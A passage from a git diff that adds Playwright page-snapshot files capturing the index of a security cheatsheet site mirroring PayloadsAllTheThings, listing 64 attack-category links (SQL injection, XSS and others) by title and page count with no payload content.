+            - generic [ref=f6e733]: payload
+            - generic [ref=f6e737]: Cross-Site Request Forgery
+            - generic [ref=f6e738]: 1 page
+        - link "11 payload CSS Injection 1 page" [ref=f6e742] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/css-injection
+          - generic [ref=f6e743]:
+            - generic [ref=f6e744]: "11"
+            - generic [ref=f6e745]: payload
+            - generic [ref=f6e749]: CSS Injection
+            - generic [ref=f6e750]: 1 page
+        - link "12 payload CSV Injection 1 page" [ref=f6e754] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/csv-injection
+          - generic [ref=f6e755]:
+            - generic [ref=f6e756]: "12"
+            - generic [ref=f6e757]: payload
+            - generic [ref=f6e761]: CSV Injection
+            - generic [ref=f6e762]: 1 page
+        - link "13 payload CVE Exploits 2 pages" [ref=f6e766] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/cve-exploits
+          - generic [ref=f6e767]:
+            - generic [ref=f6e768]: "13"
+            - generic [ref=f6e769]: payload
+            - generic [ref=f6e773]: CVE Exploits
+            - generic [ref=f6e774]: 2 pages
+        - link "14 payload Denial of Service 1 page" [ref=f6e778] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/denial-of-service
+          - generic [ref=f6e779]:
+            - generic [ref=f6e780]: "14"
+            - generic [ref=f6e781]: payload
+            - generic [ref=f6e785]: Denial of Service
+            - generic [ref=f6e786]: 1 page
+        - link "15 payload Dependency Confusion 1 page" [ref=f6e790] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/dependency-confusion
+          - generic [ref=f6e791]:
+            - generic [ref=f6e792]: "15"
+            - generic [ref=f6e793]: payload
+            - generic [ref=f6e797]: Dependency Confusion
+            - generic [ref=f6e798]: 1 page
+        - link "16 payload Directory Traversal 1 page" [ref=f6e802] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/directory-traversal
+          - generic [ref=f6e803]:
+            - generic [ref=f6e804]: "16"
+            - generic [ref=f6e805]: payload
+            - generic [ref=f6e809]: Directory Traversal
+            - generic [ref=f6e810]: 1 page
+        - link "17 payload DNS Rebinding 1 page" [ref=f6e814] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/dns-rebinding
+          - generic [ref=f6e815]:
+            - generic [ref=f6e816]: "17"
+            - generic [ref=f6e817]: payload
+            - generic [ref=f6e821]: DNS Rebinding
+            - generic [ref=f6e822]: 1 page
+        - link "18 payload DOM Clobbering 1 page" [ref=f6e826] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/dom-clobbering
+          - generic [ref=f6e827]:
+            - generic [ref=f6e828]: "18"
+            - generic [ref=f6e829]: payload
+            - generic [ref=f6e833]: DOM Clobbering
+            - generic [ref=f6e834]: 1 page
+        - link "19 payload Encoding Transformations 1 page" [ref=f6e838] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/encoding-transformations
+          - generic [ref=f6e839]:
+            - generic [ref=f6e840]: "19"
+            - generic [ref=f6e841]: payload
+            - generic [ref=f6e845]: Encoding Transformations
+            - generic [ref=f6e846]: 1 page
+        - link "20 payload External Variable Modification 1 page" [ref=f6e850] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/external-variable-modification
+          - generic [ref=f6e851]:
+            - generic [ref=f6e852]: "20"
+            - generic [ref=f6e853]: payload
+            - generic [ref=f6e857]: External Variable Modification
+            - generic [ref=f6e858]: 1 page
+        - link "21 payload File Inclusion 3 pages" [ref=f6e862] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/file-inclusion
+          - generic [ref=f6e863]:
+            - generic [ref=f6e864]: "21"
+            - generic [ref=f6e865]: payload
+            - generic [ref=f6e869]: File Inclusion
+            - generic [ref=f6e870]: 3 pages
+        - link "22 payload Google Web Toolkit 1 page" [ref=f6e874] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/google-web-toolkit
+          - generic [ref=f6e875]:
+            - generic [ref=f6e876]: "22"
+            - generic [ref=f6e877]: payload
+            - generic [ref=f6e881]: Google Web Toolkit
+            - generic [ref=f6e882]: 1 page
+        - link "23 payload GraphQL Injection 1 page" [ref=f6e886] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/graphql-injection
+          - generic [ref=f6e887]:
+            - generic [ref=f6e888]: "23"
+            - generic [ref=f6e889]: payload
+            - generic [ref=f6e893]: GraphQL Injection
+            - generic [ref=f6e894]: 1 page
+        - link "24 payload Headless Browser 1 page" [ref=f6e898] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/headless-browser
+          - generic [ref=f6e899]:
+            - generic [ref=f6e900]: "24"
+            - generic [ref=f6e901]: payload
+            - generic [ref=f6e905]: Headless Browser
+            - generic [ref=f6e906]: 1 page
+        - link "25 payload Hidden Parameters 1 page" [ref=f6e910] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/hidden-parameters
+          - generic [ref=f6e911]:
+            - generic [ref=f6e912]: "25"
+            - generic [ref=f6e913]: payload
+            - generic [ref=f6e917]: Hidden Parameters
+            - generic [ref=f6e918]: 1 page
+        - link "26 payload HTTP Parameter Pollution 1 page" [ref=f6e922] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/http-parameter-pollution
+          - generic [ref=f6e923]:
+            - generic [ref=f6e924]: "26"
+            - generic [ref=f6e925]: payload
+            - generic [ref=f6e929]: HTTP Parameter Pollution
+            - generic [ref=f6e930]: 1 page
+        - link "27 payload Insecure Deserialization 7 pages" [ref=f6e934] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-deserialization
+          - generic [ref=f6e935]:
+            - generic [ref=f6e936]: "27"
+            - generic [ref=f6e937]: payload
+            - generic [ref=f6e941]: Insecure Deserialization
+            - generic [ref=f6e942]: 7 pages
+        - link "28 payload Insecure Direct Object References 1 page" [ref=f6e946] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-direct-object-references
+          - generic [ref=f6e947]:
+            - generic [ref=f6e948]: "28"
+            - generic [ref=f6e949]: payload
+            - generic [ref=f6e953]: Insecure Direct Object References
+            - generic [ref=f6e954]: 1 page
+        - link "29 payload Insecure Management Interface 1 page" [ref=f6e958] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-management-interface
+          - generic [ref=f6e959]:
+            - generic [ref=f6e960]: "29"
+            - generic [ref=f6e961]: payload
+            - generic [ref=f6e965]: Insecure Management Interface
+            - generic [ref=f6e966]: 1 page
+        - link "30 payload Insecure Randomness 1 page" [ref=f6e970] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-randomness
+          - generic [ref=f6e971]:
+            - generic [ref=f6e972]: "30"
+            - generic [ref=f6e973]: payload
+            - generic [ref=f6e977]: Insecure Randomness
+            - generic [ref=f6e978]: 1 page
+        - link "31 payload Insecure Source Code Management 5 pages" [ref=f6e982] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-source-code-management
+          - generic [ref=f6e983]:
+            - generic [ref=f6e984]: "31"
+            - generic [ref=f6e985]: payload
+            - generic [ref=f6e989]: Insecure Source Code Management
+            - generic [ref=f6e990]: 5 pages
+        - link "32 payload Java RMI 1 page" [ref=f6e994] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/java-rmi
+          - generic [ref=f6e995]:
+            - generic [ref=f6e996]: "32"
+            - generic [ref=f6e997]: payload
+            - generic [ref=f6e1001]: Java RMI
+            - generic [ref=f6e1002]: 1 page
+        - link "33 payload JSON Web Token 1 page" [ref=f6e1006] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/json-web-token
+          - generic [ref=f6e1007]:
+            - generic [ref=f6e1008]: "33"
+            - generic [ref=f6e1009]: payload
+            - generic [ref=f6e1013]: JSON Web Token
+            - generic [ref=f6e1014]: 1 page
+        - link "34 payload LaTeX Injection 1 page" [ref=f6e1018] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/latex-injection
+          - generic [ref=f6e1019]:
+            - generic [ref=f6e1020]: "34"
+            - generic [ref=f6e1021]: payload
+            - generic [ref=f6e1025]: LaTeX Injection
+            - generic [ref=f6e1026]: 1 page
+        - link "35 payload LDAP Injection 1 page" [ref=f6e1030] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/ldap-injection
+          - generic [ref=f6e1031]:
+            - generic [ref=f6e1032]: "35"
+            - generic [ref=f6e1033]: payload
+            - generic [ref=f6e1037]: LDAP Injection
+            - generic [ref=f6e1038]: 1 page
+        - link "36 payload Mass Assignment 1 page" [ref=f6e1042] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/mass-assignment
+          - generic [ref=f6e1043]:
+            - generic [ref=f6e1044]: "36"
+            - generic [ref=f6e1045]: payload
+            - generic [ref=f6e1049]: Mass Assignment
+            - generic [ref=f6e1050]: 1 page
+        - link "37 payload Methodology and Resources 33 pages" [ref=f6e1054] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/methodology-and-resources
+          - generic [ref=f6e1055]:
+            - generic [ref=f6e1056]: "37"
+            - generic [ref=f6e1057]: payload
+            - generic [ref=f6e1061]: Methodology and Resources
+            - generic [ref=f6e1062]: 33 pages
+        - link "38 payload NoSQL Injection 1 page" [ref=f6e1066] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/nosql-injection
+          - generic [ref=f6e1067]:
+            - generic [ref=f6e1068]: "38"
+            - generic [ref=f6e1069]: payload
+            - generic [ref=f6e1073]: NoSQL Injection
+            - generic [ref=f6e1074]: 1 page
+        - link "39 payload OAuth Misconfiguration 1 page" [ref=f6e1078] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/oauth-misconfiguration
+          - generic [ref=f6e1079]:
+            - generic [ref=f6e1080]: "39"
+            - generic [ref=f6e1081]: payload
+            - generic [ref=f6e1085]: OAuth Misconfiguration
+            - generic [ref=f6e1086]: 1 page
+        - link "40 payload Open Redirect 1 page" [ref=f6e1090] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/open-redirect
+          - generic [ref=f6e1091]:
+            - generic [ref=f6e1092]: "40"
+            - generic [ref=f6e1093]: payload
+            - generic [ref=f6e1097]: Open Redirect
+            - generic [ref=f6e1098]: 1 page
+        - link "41 payload ORM Leak 1 page" [ref=f6e1102] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/orm-leak
+          - generic [ref=f6e1103]:
+            - generic [ref=f6e1104]: "41"
+            - generic [ref=f6e1105]: payload
+            - generic [ref=f6e1109]: ORM Leak
+            - generic [ref=f6e1110]: 1 page
+        - link "42 payload Prompt Injection 1 page" [ref=f6e1114] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/prompt-injection
+          - generic [ref=f6e1115]:
+            - generic [ref=f6e1116]: "42"
+            - generic [ref=f6e1117]: payload
+            - generic [ref=f6e1121]: Prompt Injection
+            - generic [ref=f6e1122]: 1 page
+        - link "43 payload Prototype Pollution 1 page" [ref=f6e1126] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/prototype-pollution
+          - generic [ref=f6e1127]:
+            - generic [ref=f6e1128]: "43"
+            - generic [ref=f6e1129]: payload
+            - generic [ref=f6e1133]: Prototype Pollution
+            - generic [ref=f6e1134]: 1 page
+        - link "44 payload Race Condition 1 page" [ref=f6e1138] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/race-condition
+          - generic [ref=f6e1139]:
+            - generic [ref=f6e1140]: "44"
+            - generic [ref=f6e1141]: payload
+            - generic [ref=f6e1145]: Race Condition
+            - generic [ref=f6e1146]: 1 page
+        - link "45 payload Regular Expression 1 page" [ref=f6e1150] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/regular-expression
+          - generic [ref=f6e1151]:
+            - generic [ref=f6e1152]: "45"
+            - generic [ref=f6e1153]: payload
+            - generic [ref=f6e1157]: Regular Expression
+            - generic [ref=f6e1158]: 1 page
+        - link "46 payload Request Smuggling 1 page" [ref=f6e1162] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/request-smuggling
+          - generic [ref=f6e1163]:
+            - generic [ref=f6e1164]: "46"
+            - generic [ref=f6e1165]: payload
+            - generic [ref=f6e1169]: Request Smuggling
+            - generic [ref=f6e1170]: 1 page
+        - link "47 payload Reverse Proxy Misconfigurations 1 page" [ref=f6e1174] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/reverse-proxy-misconfigurations
+          - generic [ref=f6e1175]:
+            - generic [ref=f6e1176]: "47"
+            - generic [ref=f6e1177]: payload
+            - generic [ref=f6e1181]: Reverse Proxy Misconfigurations
+            - generic [ref=f6e1182]: 1 page
+        - link "48 payload SAML Injection 1 page" [ref=f6e1186] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/saml-injection
+          - generic [ref=f6e1187]:
+            - generic [ref=f6e1188]: "48"
+            - generic [ref=f6e1189]: payload
+            - generic [ref=f6e1193]: SAML Injection
+            - generic [ref=f6e1194]: 1 page
+        - link "49 payload Server Side Include Injection 1 page" [ref=f6e1198] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/server-side-include-injection
+          - generic [ref=f6e1199]:
+            - generic [ref=f6e1200]: "49"
+            - generic [ref=f6e1201]: payload
+            - generic [ref=f6e1205]: Server Side Include Injection
+            - generic [ref=f6e1206]: 1 page
+        - link "50 payload Server Side Request Forgery 3 pages" [ref=f6e1210] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/server-side-request-forgery
+          - generic [ref=f6e1211]:
+            - generic [ref=f6e1212]: "50"
+            - generic [ref=f6e1213]: payload
+            - generic [ref=f6e1217]: Server Side Request Forgery
+            - generic [ref=f6e1218]: 3 pages
+        - link "51 payload Server Side Template Injection 8 pages" [ref=f6e1222] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/server-side-template-injection
+          - generic [ref=f6e1223]:
+            - generic [ref=f6e1224]: "51"
+            - generic [ref=f6e1225]: payload
+            - generic [ref=f6e1229]: Server Side Template Injection
+            - generic [ref=f6e1230]: 8 pages
+        - link "52 payload SQL Injection 10 pages" [ref=f6e1234] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/sql-injection
+          - generic [ref=f6e1235]:
+            - generic [ref=f6e1236]: "52"
+            - generic [ref=f6e1237]: payload
+            - generic [ref=f6e1241]: SQL Injection
+            - generic [ref=f6e1242]: 10 pages
+        - link "53 payload Tabnabbing 1 page" [ref=f6e1246] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/tabnabbing
+          - generic [ref=f6e1247]:
+            - generic [ref=f6e1248]: "53"
+            - generic [ref=f6e1249]: payload
+            - generic [ref=f6e1253]: Tabnabbing
+            - generic [ref=f6e1254]: 1 page
+        - link "54 payload Type Juggling 1 page" [ref=f6e1258] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/type-juggling
+          - generic [ref=f6e1259]:
+            - generic [ref=f6e1260]: "54"
+            - generic [ref=f6e1261]: payload
+            - generic [ref=f6e1265]: Type Juggling
+            - generic [ref=f6e1266]: 1 page
+        - link "55 payload Upload Insecure Files 2 pages" [ref=f6e1270] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/upload-insecure-files
+          - generic [ref=f6e1271]:
+            - generic [ref=f6e1272]: "55"
+            - generic [ref=f6e1273]: payload
+            - generic [ref=f6e1277]: Upload Insecure Files
+            - generic [ref=f6e1278]: 2 pages
+        - link "56 payload Virtual Hosts 1 page" [ref=f6e1282] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/virtual-hosts
+          - generic [ref=f6e1283]:
+            - generic [ref=f6e1284]: "56"
+            - generic [ref=f6e1285]: payload
+            - generic [ref=f6e1289]: Virtual Hosts
+            - generic [ref=f6e1290]: 1 page
+        - link "57 payload Web Cache Deception 1 page" [ref=f6e1294] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/web-cache-deception
+          - generic [ref=f6e1295]:
+            - generic [ref=f6e1296]: "57"
+            - generic [ref=f6e1297]: payload
+            - generic [ref=f6e1301]: Web Cache Deception
+            - generic [ref=f6e1302]: 1 page
+        - link "58 payload Web Sockets 1 page" [ref=f6e1306] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/web-sockets
+          - generic [ref=f6e1307]:
+            - generic [ref=f6e1308]: "58"
+            - generic [ref=f6e1309]: payload
+            - generic [ref=f6e1313]: Web Sockets
+            - generic [ref=f6e1314]: 1 page
+        - link "59 payload XPATH Injection 1 page" [ref=f6e1318] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xpath-injection
+          - generic [ref=f6e1319]:
+            - generic [ref=f6e1320]: "59"
+            - generic [ref=f6e1321]: payload
+            - generic [ref=f6e1325]: XPATH Injection
+            - generic [ref=f6e1326]: 1 page
+        - link "60 payload XS-Leak 1 page" [ref=f6e1330] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xs-leak
+          - generic [ref=f6e1331]:
+            - generic [ref=f6e1332]: "60"
+            - generic [ref=f6e1333]: payload
+            - generic [ref=f6e1337]: XS-Leak
+            - generic [ref=f6e1338]: 1 page
+        - link "61 payload XSLT Injection 1 page" [ref=f6e1342] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xslt-injection
+          - generic [ref=f6e1343]:
+            - generic [ref=f6e1344]: "61"
+            - generic [ref=f6e1345]: payload
+            - generic [ref=f6e1349]: XSLT Injection
+            - generic [ref=f6e1350]: 1 page
+        - link "62 payload XSS Injection 6 pages" [ref=f6e1354] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xss-injection
+          - generic [ref=f6e1355]:
+            - generic [ref=f6e1356]: "62"
+            - generic [ref=f6e1357]: payload
+            - generic [ref=f6e1361]: XSS Injection
+            - generic [ref=f6e1362]: 6 pages
+        - link "63 payload XXE Injection 1 page" [ref=f6e1366] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xxe-injection
+          - generic [ref=f6e1367]:
+            - generic [ref=f6e1368]: "63"
+            - generic [ref=f6e1369]: payload
+            - generic [ref=f6e1373]: XXE Injection
+            - generic [ref=f6e1374]: 1 page
+        - link "64 payload Zip Slip 1 page" [ref=f6e1378] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/zip-slip
+          - generic [ref=f6e1379]:
+            - generic [ref=f6e1380]: "64"
+            - generic [ref=f6e1381]: payload
+            - generic [ref=f6e1385]: Zip Slip
+            - generic [ref=f6e1386]: 1 page
+  - contentinfo [ref=f6e1390]:
+    - generic [ref=f6e1391]:
+      - generic [ref=f6e1392]:
+        - link "DÆMON // SEC" [ref=f6e1393] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=f6e1394]: //
+          - text: SEC
+        - paragraph [ref=f6e1395]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=f6e1396]:
+        - link "daemon-404.github.io β†—" [ref=f6e1397] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "github / daemon-sec-cheatsheet β†—" [ref=f6e1398] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=f6e1399]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=f6e1400] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=f6e1401] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=f6e1402]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=f6e1403]: RosΓ© Pine Β· Astro Β· Pagefind
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-08-33-108Z.yml b/.playwright-mcp/page-2026-08-10T08-08-33-108Z.yml
@@ -0,0 +1,552 @@
+- generic [ref=f6e549]:
+  - banner [ref=f6e550]:
+    - generic [ref=f6e551]:
+      - link "DÆMON//SEC home" [ref=f6e552] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=f6e553]: //
+        - text: SEC
+        - generic [ref=f6e554]: _
+      - navigation "Primary" [ref=f6e555]:
+        - link "01 Vault" [ref=f6e556] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=f6e557]: "01"
+          - generic [ref=f6e558]: Vault
+        - link "02 Payloads" [ref=f6e559] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=f6e560]: "02"
+          - generic [ref=f6e561]: Payloads
+        - link "03 Tags" [ref=f6e562] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=f6e563]: "03"
+          - generic [ref=f6e564]: Tags
+        - link "04 Credits" [ref=f6e565] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=f6e566]: "04"
+          - generic [ref=f6e567]: Credits
+      - generic [ref=f6e568]:
+        - button "Search cheatsheets" [ref=f6e569] [cursor=pointer]:
+          - generic [ref=f6e572]: Search
+          - generic [ref=f6e573]: /
+        - button "Toggle theme" [ref=f6e574] [cursor=pointer]
+        - link "DÆMON main site" [ref=f6e579] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=f6e582] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=f6e585]:
+    - generic [ref=f6e588]:
+      - generic [ref=f6e589]:
+        - paragraph [ref=f6e590]:
+          - generic [ref=f6e591]: "02"
+          - generic [ref=f6e592]: "^:"
+          - generic [ref=f6e593]: Full mirror Β· MIT
+        - heading "PayloadsAllTheThings" [level=1] [ref=f6e595]
+        - paragraph [ref=f6e596]: A complete on-site mirror of swisskyrepo's payload and bypass reference β€” searchable offline, every page linked back to source.
+      - generic [ref=f6e597]:
+        - generic [ref=f6e598]:
+          - term [ref=f6e599]: Topics
+          - definition [ref=f6e600]: "64"
+        - generic [ref=f6e601]:
+          - term [ref=f6e602]: Pages
+          - definition [ref=f6e603]: "135"
+        - generic [ref=f6e604]:
+          - term [ref=f6e605]: License
+          - definition [ref=f6e606]: MIT
+    - generic [ref=f6e607]:
+      - navigation [ref=f6e608]:
+        - link "~" [ref=f6e609] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+        - generic [ref=f6e610]: /
+        - generic [ref=f6e611]: payloads
+      - complementary [ref=f6e612]:
+        - generic [ref=f6e613]: mirror
+        - generic [ref=f6e614]:
+          - text: Mirrored verbatim from the upstream repo. Images and raw payload files load from GitHub; see each page's
+          - emphasis [ref=f6e615]: source
+          - text: link.
+          - generic [ref=f6e616]:
+            - text: MIT Β·
+            - link "full credits & license" [ref=f6e617] [cursor=pointer]:
+              - /url: /daemon-sec-cheatsheet/credits
+            - text: Β·
+            - code [ref=f6e618]: 3bff425
+        - link "upstream" [ref=f6e619] [cursor=pointer]:
+          - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+      - generic [ref=f6e621]:
+        - link "01 payload Account Takeover 2 pages" [ref=f6e622] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/account-takeover
+          - generic [ref=f6e623]:
+            - generic [ref=f6e624]: "01"
+            - generic [ref=f6e625]: payload
+            - generic [ref=f6e629]: Account Takeover
+            - generic [ref=f6e630]: 2 pages
+        - link "02 payload API Key Leaks 2 pages" [ref=f6e634] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/api-key-leaks
+          - generic [ref=f6e635]:
+            - generic [ref=f6e636]: "02"
+            - generic [ref=f6e637]: payload
+            - generic [ref=f6e641]: API Key Leaks
+            - generic [ref=f6e642]: 2 pages
+        - link "03 payload Brute Force Rate Limit 1 page" [ref=f6e646] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/brute-force-rate-limit
+          - generic [ref=f6e647]:
+            - generic [ref=f6e648]: "03"
+            - generic [ref=f6e649]: payload
+            - generic [ref=f6e653]: Brute Force Rate Limit
+            - generic [ref=f6e654]: 1 page
+        - link "04 payload Business Logic Errors 1 page" [ref=f6e658] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/business-logic-errors
+          - generic [ref=f6e659]:
+            - generic [ref=f6e660]: "04"
+            - generic [ref=f6e661]: payload
+            - generic [ref=f6e665]: Business Logic Errors
+            - generic [ref=f6e666]: 1 page
+        - link "05 payload Clickjacking 1 page" [ref=f6e670] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/clickjacking
+          - generic [ref=f6e671]:
+            - generic [ref=f6e672]: "05"
+            - generic [ref=f6e673]: payload
+            - generic [ref=f6e677]: Clickjacking
+            - generic [ref=f6e678]: 1 page
+        - link "06 payload Client Side Path Traversal 1 page" [ref=f6e682] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/client-side-path-traversal
+          - generic [ref=f6e683]:
+            - generic [ref=f6e684]: "06"
+            - generic [ref=f6e685]: payload
+            - generic [ref=f6e689]: Client Side Path Traversal
+            - generic [ref=f6e690]: 1 page
+        - link "07 payload Command Injection 1 page" [ref=f6e694] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/command-injection
+          - generic [ref=f6e695]:
+            - generic [ref=f6e696]: "07"
+            - generic [ref=f6e697]: payload
+            - generic [ref=f6e701]: Command Injection
+            - generic [ref=f6e702]: 1 page
+        - link "08 payload CORS Misconfiguration 1 page" [ref=f6e706] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/cors-misconfiguration
+          - generic [ref=f6e707]:
+            - generic [ref=f6e708]: "08"
+            - generic [ref=f6e709]: payload
+            - generic [ref=f6e713]: CORS Misconfiguration
+            - generic [ref=f6e714]: 1 page
+        - link "09 payload CRLF Injection 1 page" [ref=f6e718] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/crlf-injection
+          - generic [ref=f6e719]:
+            - generic [ref=f6e720]: "09"
+            - generic [ref=f6e721]: payload
+            - generic [ref=f6e725]: CRLF Injection
+            - generic [ref=f6e726]: 1 page
+        - link "10 payload Cross-Site Request Forgery 1 page" [ref=f6e730] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/cross-site-request-forgery
+          - generic [ref=f6e731]:
+            - generic [ref=f6e732]: "10"
+            - generic [ref=f6e733]: payload
+            - generic [ref=f6e737]: Cross-Site Request Forgery
+            - generic [ref=f6e738]: 1 page
+        - link "11 payload CSS Injection 1 page" [ref=f6e742] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/css-injection
+          - generic [ref=f6e743]:
+            - generic [ref=f6e744]: "11"
+            - generic [ref=f6e745]: payload
+            - generic [ref=f6e749]: CSS Injection
+            - generic [ref=f6e750]: 1 page
+        - link "12 payload CSV Injection 1 page" [ref=f6e754] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/csv-injection
+          - generic [ref=f6e755]:
+            - generic [ref=f6e756]: "12"
+            - generic [ref=f6e757]: payload
+            - generic [ref=f6e761]: CSV Injection
+            - generic [ref=f6e762]: 1 page
+        - link "13 payload CVE Exploits 2 pages" [ref=f6e766] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/cve-exploits
+          - generic [ref=f6e767]:
+            - generic [ref=f6e768]: "13"
+            - generic [ref=f6e769]: payload
+            - generic [ref=f6e773]: CVE Exploits
+            - generic [ref=f6e774]: 2 pages
+        - link "14 payload Denial of Service 1 page" [ref=f6e778] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/denial-of-service
+          - generic [ref=f6e779]:
+            - generic [ref=f6e780]: "14"
+            - generic [ref=f6e781]: payload
+            - generic [ref=f6e785]: Denial of Service
+            - generic [ref=f6e786]: 1 page
+        - link "15 payload Dependency Confusion 1 page" [ref=f6e790] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/dependency-confusion
+          - generic [ref=f6e791]:
+            - generic [ref=f6e792]: "15"
+            - generic [ref=f6e793]: payload
+            - generic [ref=f6e797]: Dependency Confusion
+            - generic [ref=f6e798]: 1 page
+        - link "16 payload Directory Traversal 1 page" [ref=f6e802] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/directory-traversal
+          - generic [ref=f6e803]:
+            - generic [ref=f6e804]: "16"
+            - generic [ref=f6e805]: payload
+            - generic [ref=f6e809]: Directory Traversal
+            - generic [ref=f6e810]: 1 page
+        - link "17 payload DNS Rebinding 1 page" [ref=f6e814] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/dns-rebinding
+          - generic [ref=f6e815]:
+            - generic [ref=f6e816]: "17"
+            - generic [ref=f6e817]: payload
+            - generic [ref=f6e821]: DNS Rebinding
+            - generic [ref=f6e822]: 1 page
+        - link "18 payload DOM Clobbering 1 page" [ref=f6e826] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/dom-clobbering
+          - generic [ref=f6e827]:
+            - generic [ref=f6e828]: "18"
+            - generic [ref=f6e829]: payload
+            - generic [ref=f6e833]: DOM Clobbering
+            - generic [ref=f6e834]: 1 page
+        - link "19 payload Encoding Transformations 1 page" [ref=f6e838] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/encoding-transformations
+          - generic [ref=f6e839]:
